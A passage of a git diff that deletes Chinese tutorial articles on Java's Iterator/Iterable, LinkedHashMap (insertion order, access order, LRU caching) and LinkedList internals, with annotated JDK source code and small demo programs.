System.out.print(str + ","); -} -``` - -for-each 只不过是个语法糖,让我们开发者在遍历 List 的时候可以写更少的代码,更简洁明了。 - -Iterator 是个接口,JDK 1.2 的时候就有了,用来改进 Enumeration 接口: - -- 允许删除元素(增加了 remove 方法) -- 优化了方法名(Enumeration 中是 hasMoreElements 和 nextElement,不简洁) - -来看一下 Iterator 的源码: - -```java -public interface Iterator { - // 判断集合中是否存在下一个对象 - boolean hasNext(); - // 返回集合中的下一个对象,并将访问指针移动一位 - E next(); - // 删除集合中调用next()方法返回的对象 - default void remove() { - throw new UnsupportedOperationException("remove"); - } -} -``` - -JDK 1.8 时,Iterable 接口中新增了 forEach 方法。该方法接受一个 Consumer 对象作为参数,用于对集合中的每个元素执行指定的操作。该方法的实现方式是使用 for-each 循环遍历集合中的元素,对于每个元素,调用 Consumer 对象的 accept 方法执行指定的操作。 - -```java -default void forEach(Consumer action) { - Objects.requireNonNull(action); - for (T t : this) { - action.accept(t); - } -} -``` - -该方法实现时首先会对 action 参数进行非空检查,如果为 null 则抛出 NullPointerException 异常。然后使用 for-each 循环遍历集合中的元素,并对每个元素调用 action.accept(t) 方法执行指定的操作。由于 Iterable 接口是 Java 集合框架中所有集合类型的基本接口,因此该方法可以被所有实现了 Iterable 接口的集合类型使用。 - -它对 Iterable 的每个元素执行给定操作,具体指定的操作需要自己写Consumer接口通过accept方法回调出来。 - -```java -List list = new ArrayList<>(Arrays.asList(1, 2, 3)); -list.forEach(integer -> System.out.println(integer)); -``` - -写得更浅显易懂点,就是: - -```java -List list = new ArrayList<>(Arrays.asList(1, 2, 3)); -list.forEach(new Consumer() { - @Override - public void accept(Integer integer) { - System.out.println(integer); - } -}); -``` - -如果我们仔细观察ArrayList 或者 LinkedList 的“户口本”就会发现,并没有直接找到 Iterator 的影子。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/iterator-iterable-01.png) - -反而找到了 Iterable! - -```java -public interface Iterable { - Iterator iterator(); -} -``` - -也就是说,List 的关系图谱中并没有直接使用 Iterator,而是使用 Iterable 做了过渡。 - -回头再来看一下第二种遍历 List 的方式。 - -```java -Iterator it = list.iterator(); -while (it.hasNext()) { -} -``` - -发现刚好呼应上了。拿 ArrayList 来说吧,它重写了 Iterable 接口的 iterator 方法: - -```java -public Iterator iterator() { - return new Itr(); -} -``` - -返回的对象 Itr 是个内部类,实现了 Iterator 接口,并且按照自己的方式重写了 hasNext、next、remove 等方法。 - -```java -/** - * ArrayList 迭代器的实现,内部类。 - */ -private class Itr implements Iterator { - - /** - * 游标位置,即下一个元素的索引。 - */ - int cursor; - - /** - * 上一个元素的索引。 - */ - int lastRet = -1; - - /** - * 预期的结构性修改次数。 - */ - int expectedModCount = modCount; - - /** - * 判断是否还有下一个元素。 - * - * @return 如果还有下一个元素,则返回 true,否则返回 false。 - */ - public boolean hasNext() { - return cursor != size; - } - - /** - * 获取下一个元素。 - * - * @return 列表中的下一个元素。 - * @throws NoSuchElementException 如果没有下一个元素,则抛出 NoSuchElementException 异常。 - */ - @SuppressWarnings("unchecked") - public E next() { - // 获取 ArrayList 对象的内部数组 - Object[] elementData = ArrayList.this.elementData; - // 记录当前迭代器的位置 - int i = cursor; - if (i >= size) { - throw new NoSuchElementException(); - } - // 将游标位置加 1,为下一次迭代做准备 - cursor = i + 1; - // 记录上一个元素的索引 - return (E) elementData[lastRet = i]; - } - - /** - * 删除最后一个返回的元素。 - * 迭代器只能删除最后一次调用 next 方法返回的元素。 - * - * @throws ConcurrentModificationException 如果在最后一次调用 next 方法之后列表结构被修改,则抛出 ConcurrentModificationException 异常。 - * @throws IllegalStateException 如果在调用 next 方法之前没有调用 remove 方法,或者在同一次迭代中多次调用 remove 方法,则抛出 IllegalStateException 异常。 - */ - public void remove() { - // 检查在最后一次调用 next 方法之后是否进行了结构性修改 - if (expectedModCount != modCount) { - throw new ConcurrentModificationException(); - } - // 如果上一次调用 next 方法之前没有调用 remove 方法,则抛出 IllegalStateException 异常 - if (lastRet < 0) { - throw new IllegalStateException(); - } - try { - // 调用 ArrayList 对象的 remove(int index) 方法删除上一个元素 - ArrayList.this.remove(lastRet); - // 将游标位置设置为上一个元素的位置 - cursor = lastRet; - // 将上一个元素的索引设置为 -1,表示没有上一个元素 - lastRet = -1; - // 更新预期的结构性修改次数 - expectedModCount = modCount; - } catch (IndexOutOfBoundsException ex) { - throw new ConcurrentModificationException(); - } - } -} -``` - -那可能有些小伙伴会问:为什么不直接将 Iterator 中的核心方法 hasNext、next 放到 Iterable 接口中呢?直接像下面这样使用不是更方便? - -```java -Iterable it = list.iterator(); -while (it.hasNext()) { -} -``` - -从英文单词的后缀语法上来看,(Iterable)able 表示这个 List 是支持迭代的,而 (Iterator)tor 表示这个 List 是如何迭代的。 - -支持迭代与具体怎么迭代显然不能混在一起,否则就乱的一笔。还是各司其职的好。 - -想一下,如果把 Iterator 和 Iterable 合并,for-each 这种遍历 List 的方式是不是就不好办了? - -原则上,只要一个 List 实现了 Iterable 接口,那么它就可以使用 for-each 这种方式来遍历,那具体该怎么遍历,还是要看它自己是怎么实现 Iterator 接口的。 - -Map 就没办法直接使用 for-each,因为 Map 没有实现 Iterable 接口,只有通过 `map.entrySet()`、`map.keySet()`、`map.values()` 这种返回一个 Collection 的方式才能 使用 for-each。 - -如果我们仔细研究 LinkedList 的源码就会发现,LinkedList 并没有直接重写 Iterable 接口的 iterator 方法,而是由它的父类 AbstractSequentialList 来完成。 - -```java -public Iterator iterator() { - return listIterator(); -} -``` - -LinkedList 重写了 listIterator 方法: - -```java -public ListIterator listIterator(int index) { - checkPositionIndex(index); - return new ListItr(index); -} -``` - -这里我们发现了一个新的迭代器 ListIterator,它继承了 Iterator 接口,在遍历List 时可以从任意下标开始遍历,而且支持双向遍历。 - -```java -public interface ListIterator extends Iterator { - boolean hasNext(); - E next(); - boolean hasPrevious(); - E previous(); -} -``` - -我们知道,集合(Collection)不仅有 List,还有 Set,那 Iterator 不仅支持 List,还支持 Set,但 ListIterator 就只支持 List。 - -那可能有些小伙伴会问:为什么不直接让 List 实现 Iterator 接口,而是要用内部类来实现呢? - -这是因为有些 List 可能会有多种遍历方式,比如说 LinkedList,除了支持正序的遍历方式,还支持逆序的遍历方式——DescendingIterator: - -```java -/** - * ArrayList 逆向迭代器的实现,内部类。 - */ -private class DescendingIterator implements Iterator { - - /** - * 使用 ListItr 对象进行逆向遍历。 - */ - private final ListItr itr = new ListItr(size()); - - /** - * 判断是否还有下一个元素。 - * - * @return 如果还有下一个元素,则返回 true,否则返回 false。 - */ - public boolean hasNext() { - return itr.hasPrevious(); - } - - /** - * 获取下一个元素。 - * - * @return 列表中的下一个元素。 - * @throws NoSuchElementException 如果没有下一个元素,则抛出 NoSuchElementException 异常。 - */ - public E next() { - return itr.previous(); - } - - /** - * 删除最后一个返回的元素。 - * 迭代器只能删除最后一次调用 next 方法返回的元素。 - * - * @throws UnsupportedOperationException 如果列表不支持删除操作,则抛出 UnsupportedOperationException 异常。 - * @throws IllegalStateException 如果在调用 next 方法之前没有调用 remove 方法,或者在同一次迭代中多次调用 remove 方法,则抛出 IllegalStateException 异常。 - */ - public void remove() { - itr.remove(); - } -} -``` - -可以看得到,DescendingIterator 刚好利用了 ListIterator 向前遍历的方式。可以通过以下的方式来使用: - -```java -Iterator it = list.descendingIterator(); -while (it.hasNext()) { -} -``` - -好了,关于Iterator与Iterable我们就先聊这么多,总结两点: - -- 学会深入思考,一点点抽丝剥茧,多想想为什么这样实现,很多问题没有自己想象中的那么复杂。 -- 遇到疑惑不放弃,这是提升自己最好的机会,遇到某个疑难的点,解决的过程中会挖掘出很多相关的东西。 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/linkedhashmap.md b/docs/src/collection/linkedhashmap.md deleted file mode 100644 index 18ad7b2faf..0000000000 --- a/docs/src/collection/linkedhashmap.md +++ /dev/null @@ -1,477 +0,0 @@ ---- -title: Java LinkedHashMap详解(附源码) -shortTitle: LinkedHashMap详解(附源码) -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java LinkedHashMap 的实现原理、功能特点以及源码,为您提供了 LinkedHashMap 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解 LinkedHashMap,从而在实际编程中充分发挥其优势。 -head: - - - meta - - name: keywords - content: Java,LinkedHashMap,java LinkedHashMap, 源码分析, 实现原理 ---- - - ->这篇继续换个文风来写,给大家一点新鲜的空气。 - -俗话说了,“金无足赤人无完人”,HashMap 也不例外,有一种需求它就满足不了,假如我们需要一个按照插入顺序来排列的键值对集合,那 HashMap 就无能为力了。那该怎么办呢?必须得上今天这篇文章的主角:LinkedHashMap。 - -同学们好啊,还记得 [HashMap](https://javabetter.cn/collection/hashmap.html) 那篇吗?我自己感觉写得非常棒啊,既通俗易懂,又深入源码,真的是分析得透透彻彻、清清楚楚、明明白白的。(一不小心又甩了三个成语,有文化吧?)HashMap 哪哪都好,真的,只要你想用键值对,第一时间就应该想到它。 - -为了提高查找效率,HashMap 在插入的时候对键做了一次哈希算法,这就导致插入的元素是无序的。 - -对这一点还不太明白的同学,可以再回到 [HashMap](https://javabetter.cn/collection/hashmap.html) 那一篇,看看 hash 方法,再看看我对 `put()` 方法的讲解,就能明白了,我们这里再来回顾一下。 - -```java -final V putVal(int hash, K key, V value, boolean onlyIfAbsent, - -               boolean evict) { -    HashMap.Node[] tab; HashMap.Node p; int n, i; -    // ①、数组 table 为 null 时,调用 resize 方法创建默认大小的数组 -    if ((tab = table) == null || (n = tab.length) == 0) -        n = (tab = resize()).length; -    // ②、计算下标,如果该位置上没有值,则填充 -    if ((p = tab[i = (n - 1) & hash]) == null) -        tab[i] = newNode(hash, key, value, null); -} -``` - -其中这个公式 `i = (n - 1) & hash` 计算后的值就是键位在数组(桶)中的索引(下标/位置),但这它并不是按照 0、1、2、3、4、5 这样有序的下标将键值对插入到数组当中的,而是有一定的随机性。 - -比如说默认大小为 16 的 HashMap,如果 put 了 4 个键值对,可能下标是 0、4、9、11,那这样的话,在遍历 HashMap 的时候,就不一定能按照插入顺序来了。 - -看下面的例子。 - -```java -// 创建 HashMap 对象,键类型为 String,值类型为 String -Map map = new HashMap<>(); - -// 使用 put() 方法向 HashMap 中添加数据 -map.put("chenmo", "沉默"); -map.put("wanger", "王二"); -map.put("chenqingyang", "陈清扬"); - -// 遍历 HashMap,输出所有键值对 -for (Map.Entry entry : map.entrySet()) { - String key = entry.getKey(); - String value = entry.getValue(); - System.out.println("Key: " + key + ", Value: " + value); -} -``` - -来看输出结果 - -``` -Key: chenmo, Value: 沉默 -Key: chenqingyang, Value: 陈清扬 -Key: wanger, Value: 王二 -``` - -对比一下输出结果就可以看得出来,put 的时候是 沉默、王二、陈清扬的顺序,但遍历的时候就没有按照这个顺序来:沉默、陈清扬、王二,因为 HashMap 是无序的。 - -那怎么保证键值对的插入顺序呢? - -LinkedHashMap 就是为这个需求应运而生的。LinkedHashMap 继承了 HashMap,所以 HashMap 有的关于键值对的功能,它也有了。 - -```java -public class LinkedHashMap - -    extends HashMap - -    implements Map{} -``` - -在此基础上,LinkedHashMap 内部追加了双向链表,来维护元素的插入顺序。注意下面代码中的 before 和 after,它俩就是用来维护当前元素的前一个元素和后一个元素的顺序的。 - -```java -static class Entry extends HashMap.Node { - Entry before, after; - Entry(int hash, K key, V value, Node next) { - super(hash, key, value, next); - } -} -``` - -关于双向链表,同学们可以回头看一遍我写的 [LinkedList](https://javabetter.cn/collection/linkedlist.html) 那篇文章,会对理解本篇的 LinkedHashMap 有很大的帮助。 - -用 LinkedHashMap 替换 HashMap,再来对比一下输出结果。 - -```java -// 创建 LinkedHashMap 对象,键类型为 String,值类型为 String -Map map = new LinkedHashMap<>(); - -// 使用 put() 方法向 LinkedHashMap 中添加数据 -map.put("chenmo", "沉默"); -map.put("wanger", "王二"); -map.put("chenqingyang", "陈清扬"); - -// 遍历 LinkedHashMap,输出所有键值对 -for (Map.Entry entry : map.entrySet()) { - String key = entry.getKey(); - String value = entry.getValue(); - System.out.println("Key: " + key + ", Value: " + value); -} -``` - -来看输出结果: - -``` -Key: chenmo, Value: 沉默 -Key: wanger, Value: 王二 -Key: chenqingyang, Value: 陈清扬 -``` - -看,LinkedHashMap 是不是保持了插入顺序?这就对了。 - -### 01、插入顺序 - -在 [HashMap](https://javabetter.cn/collection/hashmap.html) 那篇文章里,我有讲解到一点,不知道同学们记不记得,就是 null 会插入到 HashMap 的第一位。 - -```java -Map hashMap = new HashMap<>(); -hashMap.put("沉", "沉默王二"); -hashMap.put("默", "沉默王二"); -hashMap.put("王", "沉默王二"); -hashMap.put("二", "沉默王二"); -hashMap.put(null, null); - -for (String key : hashMap.keySet()) { -    System.out.println(key + " : " + hashMap.get(key)); -} -``` - -输出的结果是: - -``` -null : null -默 : 沉默王二 -沉 : 沉默王二 -王 : 沉默王二 -二 : 沉默王二 -``` - -虽然 null 最后一位 put 进去的,但在遍历输出的时候,跑到了第一位。 - -那再来对比看一下 LinkedHashMap。 - -```java -Map linkedHashMap = new LinkedHashMap<>(); -linkedHashMap.put("沉", "沉默王二"); -linkedHashMap.put("默", "沉默王二"); -linkedHashMap.put("王", "沉默王二"); -linkedHashMap.put("二", "沉默王二"); -linkedHashMap.put(null, null); - -for (String key : linkedHashMap.keySet()) { -    System.out.println(key + " : " + linkedHashMap.get(key)); -} -``` - -输出结果是: - -``` -沉 : 沉默王二 -默 : 沉默王二 -王 : 沉默王二 -二 : 沉默王二 -null : null -``` - -null 在最后一位插入,在最后一位输出。 - -输出结果可以再次证明,**HashMap 是无序的,LinkedHashMap 是可以维持插入顺序的**。 - -那 LinkedHashMap 是如何做到这一点呢?我相信同学们和我一样,非常希望知道原因。 - -要想搞清楚,就需要深入研究一下 LinkedHashMap 的源码。LinkedHashMap 并未重写 HashMap 的 `put()` 方法,而是重写了 `put()` 方法需要调用的内部方法 `newNode()`。 - -这是 HashMap 的。 - -```java -Node newNode(int hash, K key, V value, Node next) { - return new Node<>(hash, key, value, next); -} -``` - -这是 LinkedHashMap 的。 - -```java -HashMap.Node newNode(int hash, K key, V value, HashMap.Node e) { -    LinkedHashMap.Entry p = -            new LinkedHashMap.Entry<>(hash, key, value, e); -    linkNodeLast(p); -    return p; -} -``` - -前面曾提到 LinkedHashMap.Entry 继承了 HashMap.Node,并且追加了两个字段 before 和 after,用来维持键值对的关系。 - -```java -static class Entry extends HashMap.Node { - Entry before, after; - Entry(int hash, K key, V value, Node next) { - super(hash, key, value, next); - } -} -``` - -在 LinkedHashMap 中,链表中的节点顺序是按照插入顺序维护的。当使用 put() 方法向 LinkedHashMap 中添加键值对时,会将新节点插入到链表的尾部,并更新 before 和 after 属性,以保证链表的顺序关系——由 `linkNodeLast()` 方法来完成: - -```java -/** - * 将指定节点插入到链表的尾部 - * - * @param p 要插入的节点 - */ -private void linkNodeLast(LinkedHashMap.Entry p) { - LinkedHashMap.Entry last = tail; // 获取链表的尾节点 - tail = p; // 将 p 设为尾节点 - if (last == null) - head = p; // 如果链表为空,则将 p 设为头节点 - else { - p.before = last; // 将 p 的前驱节点设为链表的尾节点 - last.after = p; // 将链表的尾节点的后继节点设为 p - } -} -``` - -看到了吧,LinkedHashMap 在添加第一个元素的时候,会把 head 赋值为第一个元素,等到第二个元素添加进来的时候,会把第二个元素的 before 赋值为第一个元素,第一个元素的 afer 赋值为第二个元素。 - -这就保证了键值对是按照插入顺序排列的,明白了吧? - -### 02、访问顺序 - -LinkedHashMap 不仅能够维持插入顺序,还能够维持访问顺序。访问包括调用 `get()` 方法、`remove()` 方法和 `put()` 方法。 - -要维护访问顺序,需要我们在声明 LinkedHashMap 的时候指定三个参数。 - -```java -LinkedHashMap map = new LinkedHashMap<>(16, .75f, true); -``` - -第一个参数和第二个参数,看过 [HashMap](https://javabetter.cn/collection/hashmap.html) 的同学们应该很熟悉了,指的是初始容量和负载因子。 - -第三个参数如果为 true 的话,就表示 LinkedHashMap 要维护访问顺序;否则,维护插入顺序。默认是 false。 - -```java -Map linkedHashMap = new LinkedHashMap<>(16, .75f, true); -linkedHashMap.put("沉", "沉默王二"); -linkedHashMap.put("默", "沉默王二"); -linkedHashMap.put("王", "沉默王二"); -linkedHashMap.put("二", "沉默王二"); - -System.out.println(linkedHashMap); - -linkedHashMap.get("默"); -System.out.println(linkedHashMap); - -linkedHashMap.get("王"); -System.out.println(linkedHashMap); -``` - -输出的结果如下所示: - -``` -{沉=沉默王二, 默=沉默王二, 王=沉默王二, 二=沉默王二} -{沉=沉默王二, 王=沉默王二, 二=沉默王二, 默=沉默王二} -{沉=沉默王二, 二=沉默王二, 默=沉默王二, 王=沉默王二} -``` - -当我们使用 `get()` 方法访问键位“默”的元素后,输出结果中,`默=沉默王二` 在最后;当我们访问键位“王”的元素后,输出结果中,`王=沉默王二` 在最后,`默=沉默王二` 在倒数第二位。 - -也就是说,最不经常访问的放在头部,这就有意思了。有意思在哪呢? - -### 03、LRU 缓存 - -我们可以使用 LinkedHashMap 来实现 LRU 缓存,LRU 是 Least Recently Used 的缩写,即最近最少使用,是一种常用的页面置换算法,选择最近最久未使用的页面予以淘汰。 - -```java -/** - * 自定义的 MyLinkedHashMap 类,继承了 Java 中内置的 LinkedHashMap 类。 - * 用于实现一个具有固定大小的缓存,当缓存达到最大容量时,会自动移除最早加入的元素,以腾出空间给新的元素。 - * - * @param 键的类型 - * @param 值的类型 - */ -public class MyLinkedHashMap extends LinkedHashMap { - - private static final int MAX_ENTRIES = 5; // 表示 MyLinkedHashMap 中最多存储的键值对数量 - - /** - * 构造方法,使用 super() 调用了父类的构造函数,并传递了三个参数:initialCapacity、loadFactor 和 accessOrder。 - * - * @param initialCapacity 初始容量 - * @param loadFactor 负载因子 - * @param accessOrder 访问顺序 - */ - public MyLinkedHashMap(int initialCapacity, float loadFactor, boolean accessOrder) { - super(initialCapacity, loadFactor, accessOrder); - } - - /** - * 重写父类的 removeEldestEntry() 方法,用于指示是否应该移除最早加入的元素。 - * 如果返回 true,那么将删除最早加入的元素。 - * - * @param eldest 最早加入的元素 - * @return 如果当前 MyLinkedHashMap 中元素的数量大于 MAX_ENTRIES,返回 true,否则返回 false。 - */ - @Override - protected boolean removeEldestEntry(Map.Entry eldest) { - return size() > MAX_ENTRIES; - } - -} -``` - -MyLinkedHashMap 是一个自定义类,它继承了 LinkedHashMap,并且重写了 `removeEldestEntry()` 方法——使 Map 最多可容纳 5 个元素,超出后就淘汰。 - -我们来测试一下。 - -```java -MyLinkedHashMap map = new MyLinkedHashMap<>(16,0.75f,true); -map.put("沉", "沉默王二"); -map.put("默", "沉默王二"); -map.put("王", "沉默王二"); -map.put("二", "沉默王二"); -map.put("一枚有趣的程序员", "一枚有趣的程序员"); - -System.out.println(map); - -map.put("一枚有颜值的程序员", "一枚有颜值的程序员"); -System.out.println(map); - -map.put("一枚有才华的程序员","一枚有才华的程序员"); -System.out.println(map); -``` - -输出结果如下所示: - -``` -{沉=沉默王二, 默=沉默王二, 王=沉默王二, 二=沉默王二, 一枚有趣的程序员=一枚有趣的程序员} -{默=沉默王二, 王=沉默王二, 二=沉默王二, 一枚有趣的程序员=一枚有趣的程序员, 一枚有颜值的程序员=一枚有颜值的程序员} -{王=沉默王二, 二=沉默王二, 一枚有趣的程序员=一枚有趣的程序员, 一枚有颜值的程序员=一枚有颜值的程序员, 一枚有才华的程序员=一枚有才华的程序员} -``` - -`沉=沉默王二` 和 `默=沉默王二` 依次被淘汰出局。 - -假如在 put “一枚有才华的程序员”之前 get 了键位为“默”的元素: - -```java -MyLinkedHashMap map = new MyLinkedHashMap<>(16,0.75f,true); -map.put("沉", "沉默王二"); -map.put("默", "沉默王二"); -map.put("王", "沉默王二"); -map.put("二", "沉默王二"); -map.put("一枚有趣的程序员", "一枚有趣的程序员"); - -System.out.println(map); - -map.put("一枚有颜值的程序员", "一枚有颜值的程序员"); -System.out.println(map); - -map.get("默"); -map.put("一枚有才华的程序员","一枚有才华的程序员"); -System.out.println(map); -``` - -那输出结果就变了,对吧? - -``` -{沉=沉默王二, 默=沉默王二, 王=沉默王二, 二=沉默王二, 一枚有趣的程序员=一枚有趣的程序员} -{默=沉默王二, 王=沉默王二, 二=沉默王二, 一枚有趣的程序员=一枚有趣的程序员, 一枚有颜值的程序员=一枚有颜值的程序员} -{二=沉默王二, 一枚有趣的程序员=一枚有趣的程序员, 一枚有颜值的程序员=一枚有颜值的程序员, 默=沉默王二, 一枚有才华的程序员=一枚有才华的程序员} -``` - -`沉=沉默王二` 和 `王=沉默王二` 被淘汰出局了。 - -那 LinkedHashMap 是如何来维持访问顺序呢?同学们感兴趣的话,可以研究一下下面这三个方法。 - -```java -void afterNodeAccess(Node p) { } -void afterNodeInsertion(boolean evict) { } -void afterNodeRemoval(Node p) { } -``` - -`afterNodeAccess()` 会在调用 `get()` 方法的时候被调用,`afterNodeInsertion()` 会在调用 `put()` 方法的时候被调用,`afterNodeRemoval()` 会在调用 `remove()` 方法的时候被调用。 - -我来以 `afterNodeAccess()` 为例来讲解一下。 - -```java -/** - * 在访问节点后,将节点移动到链表的尾部 - * - * @param e 要移动的节点 - */ -void afterNodeAccess(HashMap.Node e) { // move node to last - LinkedHashMap.Entry last; - if (accessOrder && (last = tail) != e) { // 如果按访问顺序排序,并且访问的节点不是尾节点 - LinkedHashMap.Entry p = (LinkedHashMap.Entry)e, b = p.before, a = p.after; - p.after = null; // 将要移动的节点的后继节点设为 null - if (b == null) - head = a; // 如果要移动的节点没有前驱节点,则将要移动的节点设为头节点 - else - b.after = a; // 将要移动的节点的前驱节点的后继节点设为要移动的节点的后继节点 - if (a != null) - a.before = b; // 如果要移动的节点有后继节点,则将要移动的节点的后继节点的前驱节点设为要移动的节点的前驱节点 - else - last = b; // 如果要移动的节点没有后继节点,则将要移动的节点的前驱节点设为尾节点 - if (last == null) - head = p; // 如果尾节点为空,则将要移动的节点设为头节点 - else { - p.before = last; // 将要移动的节点的前驱节点设为尾节点 - last.after = p; // 将尾节点的后继节点设为要移动的节点 - } - tail = p; // 将要移动的节点设为尾节点 - ++modCount; // 修改计数器 - } -} -``` - -哪个元素被 get 就把哪个元素放在最后。了解了吧? - -那同学们可能还想知道,为什么 LinkedHashMap 能实现 LRU 缓存,把最不经常访问的那个元素淘汰? - -在插入元素的时候,需要调用 `put()` 方法,该方法最后会调用 `afterNodeInsertion()` 方法,这个方法被 LinkedHashMap 重写了。 - -```java -/** - * 在插入节点后,如果需要,可能会删除最早加入的元素 - * - * @param evict 是否需要删除最早加入的元素 - */ -void afterNodeInsertion(boolean evict) { // possibly remove eldest - LinkedHashMap.Entry first; - if (evict && (first = head) != null && removeEldestEntry(first)) { // 如果需要删除最早加入的元素 - K key = first.key; // 获取要删除元素的键 - removeNode(hash(key), key, null, false, true); // 调用 removeNode() 方法删除元素 - } -} -``` - -`removeEldestEntry()` 方法会判断第一个元素是否超出了可容纳的最大范围,如果超出,那就会调用 `removeNode()` 方法对最不经常访问的那个元素进行删除。 - -### 04、小结 - -由于 LinkedHashMap 要维护双向链表,所以 LinkedHashMap 在插入、删除操作的时候,花费的时间要比 HashMap 多一些。 - -这也是没办法的事,对吧,欲戴皇冠必承其重嘛。既然想要维护元素的顺序,总要付出点代价才行。 - -简单总结一下吧。 - -首先,我们知道 HashMap 是一种常用的哈希表数据结构,它可以快速地进行键值对的查找和插入操作。但是,HashMap 本身并不保证键值对的顺序,如果我们需要按照插入顺序或访问顺序来遍历键值对,就需要使用 LinkedHashMap 了。 - -LinkedHashMap 继承自 HashMap,它在 HashMap 的基础上,增加了一个双向链表来维护键值对的顺序。这个链表可以按照插入顺序或访问顺序排序,它的头节点表示最早插入或访问的元素,尾节点表示最晚插入或访问的元素。这个链表的作用就是让 LinkedHashMap 可以保持键值对的顺序,并且可以按照顺序遍历键值对。 - -LinkedHashMap 还提供了两个构造方法来指定排序方式,分别是按照插入顺序排序和按照访问顺序排序。在按照访问顺序排序的情况下,每次访问一个键值对,都会将该键值对移到链表的尾部,以保证最近访问的元素在最后面。如果需要删除最早加入的元素,可以通过重写 removeEldestEntry() 方法来实现。 - -总之,LinkedHashMap 通过维护一个双向链表来保持键值对的顺序,可以按照插入顺序或访问顺序来遍历键值对。如果你需要按照顺序来遍历键值对,那么 LinkedHashMap 就是你的不二选择了! - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/linkedlist.md b/docs/src/collection/linkedlist.md deleted file mode 100644 index 9727bcc2e8..0000000000 --- a/docs/src/collection/linkedlist.md +++ /dev/null @@ -1,508 +0,0 @@ ---- -title: LinkedList控诉:我爹都嫌弃我! -shortTitle: LinkedList详解(附源码) -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java LinkedList 的实现原理、功能特点以及源码,为您提供了 LinkedList 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解 LinkedList,从而在实际编程中充分发挥其优势。 -head: - - - meta - - name: keywords - content: Java,LinkedList,LinkedList源码,java linkedlist,源码分析 ---- - - ->这篇换个表达方式,一起来欣赏。 - -大家好,我是 LinkedList,和 ArrayList 是同门师兄弟,但我俩练的内功却完全不同。师兄练的是动态数组,我练的是链表。 - -问大家一个问题,知道我为什么要练链表这门内功吗? - -举个例子来讲吧,假如你们手头要管理一推票据,可能有一张,也可能有一亿张。 - -该怎么办呢? - -申请一个 10G 的大数组等着?那万一票据只有 100 张呢? - -申请一个默认大小的数组,随着数据量的增大扩容?要知道扩容是需要重新复制数组的,很耗时间。 - -关键是,数组还有一个弊端就是,假如现在有 500 万张票据,现在要从中间删除一个票据,就需要把 250 万张票据往前移动一格。 - -遇到这种情况的时候,我师兄几乎情绪崩溃,难受的要命。师父不忍心看到师兄这样痛苦,于是打我进入师门那一天,就强迫我练链表这门内功,一开始我很不理解,害怕师父偏心,不把师门最厉害的内功教我。 - -直到有一天,我亲眼目睹师兄差点因为移动数据而走火入魔,我才明白师父的良苦用心。从此以后,我苦练“链表”这门内功,取得了显著的进步,师父和师兄都夸我有天赋。 - -链表这门内功大致分为三个层次: - -- 第一层叫做“单向链表”,我只有一个后指针,指向下一个数据; -- 第二层叫做“双向链表”,我有两个指针,后指针指向下一个数据,前指针指向上一个数据。 -- 第三层叫做“二叉树”,把后指针去掉,换成左右指针。 - -但我现在的功力还达不到第三层,不过师父说我有这个潜力,练成神功是早晚的事。但可悲的是,我爹一直嫌弃我。 - -![Josh Bloch是 Java 集合框架的作者](https://cdn.paicoding.com/stutymore/linkedlist-20240723082544.png) - -### 01、LinkedList的内功心法 - -好了,经过我这么样的一个剖白后,大家对我应该已经不陌生了。那么接下来,我给大家展示一下我的内功心法。 - -我的内功心法主要是一个私有的静态内部类,叫 Node,也就是节点。 - -```java -/** - * 链表中的节点类。 - */ -private static class Node { - E item; // 节点中存储的元素 - Node next; // 指向下一个节点的指针 - Node prev; // 指向上一个节点的指针 - - /** - * 构造一个新的节点。 - * - * @param prev 前一个节点 - * @param element 节点中要存储的元素 - * @param next 后一个节点 - */ - Node(Node prev, E element, Node next) { - this.item = element; // 存储元素 - this.next = next; // 设置下一个节点 - this.prev = prev; // 设置上一个节点 - } -} -``` - -它由三部分组成: - -- 节点上的元素 -- 下一个节点 -- 上一个节点 - -我画幅图给你们展示下吧。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/linkedlist-01.png) - -- 对于第一个节点来说,prev 为 null; -- 对于最后一个节点来说,next 为 null; -- 其余的节点呢,prev 指向前一个,next 指向后一个。 - -我的内功心法就这么简单,其实我早已经牢记在心了。但师父叮嘱我,每天早上醒来的时候,每天晚上睡觉的时候,一定要默默地背诵一遍。虽然我有些厌烦,但我对师父的教诲从来都是言听计从。 - -### 02、LinkedList的招式 - -和师兄 ArrayList 一样,我的招式也无外乎“增删改查”这 4 种。在此之前,我们都必须得初始化。 - -```java -LinkedList list = new LinkedList(); -``` - -师兄在初始化的时候可以指定大小,也可以不指定,等到添加第一个元素的时候进行第一次扩容。而我,没有大小,只要内存够大,我就可以无穷大。 - -#### **1)招式一:增** - -可以调用 add 方法添加元素: - -```java -list.add("沉默王二"); -list.add("沉默王三"); -list.add("沉默王四"); -``` - -add 方法内部其实调用的是 linkLast 方法: - -```java -/** - * 将指定的元素添加到列表的尾部。 - * - * @param e 要添加到列表的元素 - * @return 始终为 true(根据 Java 集合框架规范) - */ -public boolean add(E e) { - linkLast(e); // 在列表的尾部添加元素 - return true; // 添加元素成功,返回 true -} -``` - -linkLast,顾名思义,就是在链表的尾部添加元素: - -```java 